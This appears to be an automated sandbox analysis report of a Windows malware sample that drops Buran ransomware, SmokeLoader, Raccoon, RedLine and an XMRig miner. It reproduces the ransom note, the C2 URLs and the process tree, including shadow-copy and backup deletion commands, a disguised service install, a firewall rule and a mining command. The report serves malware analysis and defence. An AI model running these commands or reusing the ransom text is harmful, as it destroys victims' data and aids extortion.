Resubmissions

25/08/2021, 11:26

210825-abfycnfjps10

24/08/2021, 16:20

210824-sasfanpc7210

Analysis

  • max time kernel
    153s
  • max time network
    158s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    24/08/2021, 16:20

General

  • Target
    40c05a8ef279605719d194d37cf70a4a.exe
  • Size 142KB
  • Sample210824-sasfanpc72
  • SHA256 4d2041a2a0df754a74123b251358abd1f981985d32103138943ee2974cbb6f1d
  • MD5 SHA1 SHA512

Malware Config

Extracted

Path
  • C:\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT

  • buran

Ransom Note
  • !!! ALL YOUR FILES ARE ENCRYPTED !!! All your files, documents, photos, databases and other important files are encrypted. You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. PAY FAST 590$=0.013 btc or the price will increase tomorrow bitcoin address bc1qqxnp9z0ff8x852dyflp5r9r6rzse8jl5hzmqz8 To be sure we have the decryptor and it works you can send an email: [email protected] and decrypt one file for free. But this file should be of not valuable! Do you really want to restore your files? [email protected] TELEGRAM @ payfast290 Your personal ID: 17A-BC9-04A Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://readinglistforaugust1.xyz/

  • http://readinglistforaugust2.xyz/

  • http://readinglistforaugust3.xyz/

  • http://readinglistforaugust4.xyz/

  • http://readinglistforaugust5.xyz/

  • http://readinglistforaugust6.xyz/

  • http://readinglistforaugust7.xyz/

  • http://readinglistforaugust8.xyz/

  • http://readinglistforaugust9.xyz/

  • http://readinglistforaugust10.xyz/

  • http://readinglistforaugust1.site/

  • http://readinglistforaugust2.site/

  • http://readinglistforaugust3.site/

  • http://readinglistforaugust4.site/

  • http://readinglistforaugust5.site/

  • http://readinglistforaugust6.site/

  • http://readinglistforaugust7.site/

  • http://readinglistforaugust8.site/

  • http://readinglistforaugust9.site/

  • http://readinglistforaugust10.site/

rc4.i32
rc4.i32

Extracted

Family
  • raccoon

Botnet
  • b8ef25fa9e346b7a31e4b6ff160623dd5fed2474

Attributes
  • url4cnc

    https://telete.in/iphbarberleo

rc4.plain
rc4.plain

Signatures

  • Buran

    Ransomware-as-a-service based on the VegaLocker family first identified in 2019.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 5 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\40c05a8ef279605719d194d37cf70a4a.exe
    "C:\Users\Admin\AppData\Local\Temp\40c05a8ef279605719d194d37cf70a4a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3728
    • C:\Users\Admin\AppData\Local\Temp\40c05a8ef279605719d194d37cf70a4a.exe
      "C:\Users\Admin\AppData\Local\Temp\40c05a8ef279605719d194d37cf70a4a.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:212
  • C:\Users\Admin\AppData\Local\Temp\2EC1.exe
    C:\Users\Admin\AppData\Local\Temp\2EC1.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:3148
  • C:\Users\Admin\AppData\Local\Temp\3059.exe
    C:\Users\Admin\AppData\Local\Temp\3059.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\myxjuauf\
      2⤵
        PID:1276
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wjfvdkfp.exe" C:\Windows\SysWOW64\myxjuauf\
        2⤵
          PID:1768
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create myxjuauf binPath= "C:\Windows\SysWOW64\myxjuauf\wjfvdkfp.exe /d\"C:\Users\Admin\AppData\Local\Temp\3059.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:912
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description myxjuauf "wifi internet conection"
            2⤵
              PID:2008
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start myxjuauf
              2⤵
                PID:2176
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  3⤵
                    PID:1276
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:2716
                • C:\Users\Admin\AppData\Local\Temp\324E.exe
                  C:\Users\Admin\AppData\Local\Temp\324E.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1516
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 732
                    2⤵
                    • Program crash
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3100
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 744
                    2⤵
                    • Program crash
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1988
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 844
                    2⤵
                    • Program crash
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3528
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 880
                    2⤵
                    • Program crash
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1280
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 868
                    2⤵
                    • Suspicious use of NtCreateProcessExOtherParentProcess
                    • Program crash
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2352
                • C:\Users\Admin\AppData\Local\Temp\353D.exe
                  C:\Users\Admin\AppData\Local\Temp\353D.exe
                  1⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Modifies system certificate store
                  • Suspicious use of WriteProcessMemory
                  PID:3608
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe" -start
                    2⤵
                    • Executes dropped EXE
                    • Enumerates connected drives
                    PID:980
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
                      3⤵
                        PID:2200
                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                          wmic shadowcopy delete
                          4⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4292
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
                        3⤵
                          PID:3612
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
                          3⤵
                            PID:2716
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
                            3⤵
                              PID:4104
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
                              3⤵
                                PID:4136
                                • C:\Windows\SysWOW64\vssadmin.exe
                                  vssadmin delete shadows /all /quiet
                                  4⤵
                                  • Interacts with shadow copies
                                  PID:4312
                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe" -agent 0
                                3⤵
                                • Executes dropped EXE
                                • Drops file in Program Files directory
                                PID:4164
                          • C:\Users\Admin\AppData\Local\Temp\46D2.exe
                            C:\Users\Admin\AppData\Local\Temp\46D2.exe
                            1⤵
                            • Executes dropped EXE
                            • Checks BIOS information in registry
                            • Checks whether UAC is enabled
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2316
                          • C:\Windows\SysWOW64\explorer.exe
                            C:\Windows\SysWOW64\explorer.exe
                            1⤵
                              PID:2448
                            • C:\Windows\explorer.exe
                              C:\Windows\explorer.exe
                              1⤵
                                PID:4076
                              • C:\Windows\SysWOW64\explorer.exe
                                C:\Windows\SysWOW64\explorer.exe
                                1⤵
                                  PID:3656
                                • C:\Windows\explorer.exe
                                  C:\Windows\explorer.exe
                                  1⤵
                                    PID:652
                                  • C:\Windows\SysWOW64\explorer.exe
                                    C:\Windows\SysWOW64\explorer.exe
                                    1⤵
                                      PID:3056
                                    • C:\Windows\explorer.exe
                                      C:\Windows\explorer.exe
                                      1⤵
                                        PID:1012
                                      • C:\Windows\SysWOW64\explorer.exe
                                        C:\Windows\SysWOW64\explorer.exe
                                        1⤵
                                          PID:2272
                                        • C:\Windows\SysWOW64\myxjuauf\wjfvdkfp.exe
                                          C:\Windows\SysWOW64\myxjuauf\wjfvdkfp.exe /d"C:\Users\Admin\AppData\Local\Temp\3059.exe"
                                          1⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetThreadContext
                                          PID:1376
                                          • C:\Windows\SysWOW64\svchost.exe
                                            svchost.exe
                                            2⤵
                                            • Drops file in System32 directory
                                            • Suspicious use of SetThreadContext
                                            • Modifies data under HKEY_USERS
                                            PID:4436
                                            • C:\Windows\SysWOW64\svchost.exe
                                              svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                              3⤵
                                                PID:4640
                                          • C:\Windows\explorer.exe
                                            C:\Windows\explorer.exe
                                            1⤵
                                              PID:680
                                            • C:\Windows\SysWOW64\explorer.exe
                                              C:\Windows\SysWOW64\explorer.exe
                                              1⤵
                                                PID:2984
                                              • C:\Windows\system32\vssvc.exe
                                                C:\Windows\system32\vssvc.exe
                                                1⤵
                                                  PID:4360

                                                Network

                                                      MITRE ATT&CK Enterprise v6

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      memory/212-114-0x0000000000400000-0x0000000000409000-memory.dmp

                                                      memory/652-176-0x00000000001D0000-0x00000000001DF000-memory.dmp

                                                      memory/652-175-0x00000000001E0000-0x00000000001E9000-memory.dmp

                                                      memory/680-206-0x0000000000690000-0x0000000000699000-memory.dmp

                                                      memory/680-205-0x00000000006A0000-0x00000000006A5000-memory.dmp

                                                      memory/1012-196-0x00000000008E0000-0x00000000008E6000-memory.dmp

                                                      memory/1012-197-0x00000000008D0000-0x00000000008DC000-memory.dmp

                                                      memory/1376-231-0x0000000000400000-0x0000000002CC6000-memory.dmp

                                                      memory/1376-230-0x00000000001E0000-0x00000000001F3000-memory.dmp

                                                      memory/1516-189-0x0000000000400000-0x0000000002CF8000-memory.dmp

                                                      memory/1516-186-0x0000000002D00000-0x0000000002E4A000-memory.dmp

                                                      memory/2128-177-0x0000000000400000-0x0000000002CC6000-memory.dmp

                                                      memory/2128-174-0x0000000002CD0000-0x0000000002E1A000-memory.dmp

                                                      memory/2272-202-0x0000000000420000-0x0000000000424000-memory.dmp

                                                      memory/2272-203-0x0000000000410000-0x0000000000419000-memory.dmp

                                                      memory/2316-146-0x0000000000AC0000-0x0000000000AC1000-memory.dmp

                                                      memory/2316-162-0x0000000005A70000-0x0000000005A71000-memory.dmp

                                                      memory/2316-150-0x0000000077870000-0x00000000779FE000-memory.dmp

                                                      memory/2448-147-0x0000000000730000-0x000000000079B000-memory.dmp

                                                      memory/2448-145-0x0000000000A00000-0x0000000000A74000-memory.dmp

                                                      memory/2984-208-0x0000000001200000-0x0000000001205000-memory.dmp

                                                      memory/2984-210-0x0000000000FF0000-0x0000000000FF9000-memory.dmp

                                                      memory/3028-117-0x0000000000E00000-0x0000000000E16000-memory.dmp

                                                      memory/3056-187-0x0000000000C60000-0x0000000000C65000-memory.dmp

                                                      memory/3056-188-0x0000000000C50000-0x0000000000C59000-memory.dmp

                                                      memory/3148-125-0x0000000077870000-0x00000000779FE000-memory.dmp

                                                      memory/3148-130-0x00000000010F0000-0x00000000010F1000-memory.dmp

                                                      memory/3148-193-0x00000000086C0000-0x00000000086C1000-memory.dmp

                                                      memory/3148-182-0x0000000007C60000-0x0000000007C61000-memory.dmp

                                                      memory/3148-185-0x0000000008BC0000-0x0000000008BC1000-memory.dmp

                                                      memory/3148-180-0x0000000008190000-0x0000000008191000-memory.dmp

                                                      memory/3148-179-0x0000000007A90000-0x0000000007A91000-memory.dmp

                                                      memory/3148-213-0x00000000094D0000-0x00000000094D1000-memory.dmp

                                                      memory/3148-184-0x0000000007D80000-0x0000000007D81000-memory.dmp

                                                      memory/3148-138-0x0000000006220000-0x0000000006221000-memory.dmp

                                                      memory/3148-134-0x0000000006840000-0x0000000006841000-memory.dmp

                                                      memory/3148-135-0x0000000006170000-0x0000000006171000-memory.dmp

                                                      memory/3148-136-0x0000000006340000-0x0000000006341000-memory.dmp

                                                      memory/3148-137-0x00000000061D0000-0x00000000061D1000-memory.dmp

                                                      memory/3148-139-0x0000000006230000-0x0000000006231000-memory.dmp

                                                      memory/3148-190-0x0000000007D20000-0x0000000007D21000-memory.dmp

                                                      memory/3656-163-0x0000000001040000-0x0000000001047000-memory.dmp

                                                      memory/3656-164-0x0000000001030000-0x000000000103B000-memory.dmp

                                                      memory/3728-116-0x0000000002CC0000-0x0000000002D6E000-memory.dmp

                                                      memory/4076-152-0x0000000000680000-0x000000000068C000-memory.dmp

                                                      memory/4076-151-0x0000000000690000-0x0000000000697000-memory.dmp

                                                      memory/4436-224-0x0000000001090000-0x00000000010A5000-memory.dmp

                                                      memory/4640-233-0x0000000000800000-0x00000000008F1000-memory.dmp

                                                      memory/4640-238-0x0000000000800000-0x00000000008F1000-memory.dmp